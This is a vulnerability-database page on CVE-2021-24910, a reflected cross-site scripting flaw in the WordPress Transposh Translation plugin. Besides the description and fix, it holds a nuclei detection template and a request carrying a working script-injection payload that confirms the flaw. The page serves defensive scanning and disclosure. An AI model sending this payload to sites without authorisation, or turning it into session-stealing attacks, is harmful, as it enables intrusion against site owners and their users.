HexBrain

Browse / CVEs / CVE-2021-24910

CVE-2021-24910· transposh / transposh wordpress translation· CWE-79

WordPress Transposh Translation <1.0.8 - Cross-Site Scripting

mediumseverity
6.1CVSS score
1.7%likelihood of exploitation, next 30 days
78%of all CVEs are less likely
Readycheck to confirm it

WordPress Transposh Translation plugin before 1.0.8 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the a parameter via an AJAX action (available to both unauthenticated and authenticated users when the curl library is installed) before outputting it back in the response.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.

Fix

Update the WordPress Transposh Translation plugin to version 1.0.8 or later to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-admin/admin-ajax.php?action=tp_tp&e=g&m=s&tl=en&q=<img%20src%3dx%20onerror%3dalert(document.domain)>
Positive when: contains "<img src=x onerror=alert(document.domain)>" and "{\"result\":" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-24910 -u <target>

The full check
id: CVE-2021-24910

info:
  name: WordPress Transposh Translation <1.0.8 - Cross-Site Scripting
  author: Screamy
  severity: medium
  description: WordPress Transposh Translation plugin before 1.0.8 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the a parameter via an AJAX action (available to both unauthenticated and authenticated users when the curl library is installed) before outputting it back in the response.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update the WordPress Transposh Translation plugin to version 1.0.8 or later to mitigate the vulnerability.
  reference:
    - https://www.rcesecurity.com/2022/07/WordPress-Transposh-Exploiting-a-Blind-SQL-Injection-via-XSS/
    - https://github.com/MrTuxracer/advisories/blob/master/CVEs/CVE-2021-24910.txt
    - https://wpscan.com/vulnerability/b5cbebf4-5749-41a0-8be3-3333853fca17
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24910
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24910
    cwe-id: CWE-79
    epss-score: 0.01703
    epss-percentile: 0.77453
    cpe: cpe:2.3:a:transposh:transposh_wordpress_translation:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: transposh
    product: transposh_wordpress_translation
    framework: wordpress
  tags: cve2021,cve,wordpress,wp-plugin,xss,wp,wpscan,transposh,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=tp_tp&e=g&m=s&tl=en&q=<img%20src%3dx%20onerror%3dalert(document.domain)>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src=x onerror=alert(document.domain)>'
          - '{"result":'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from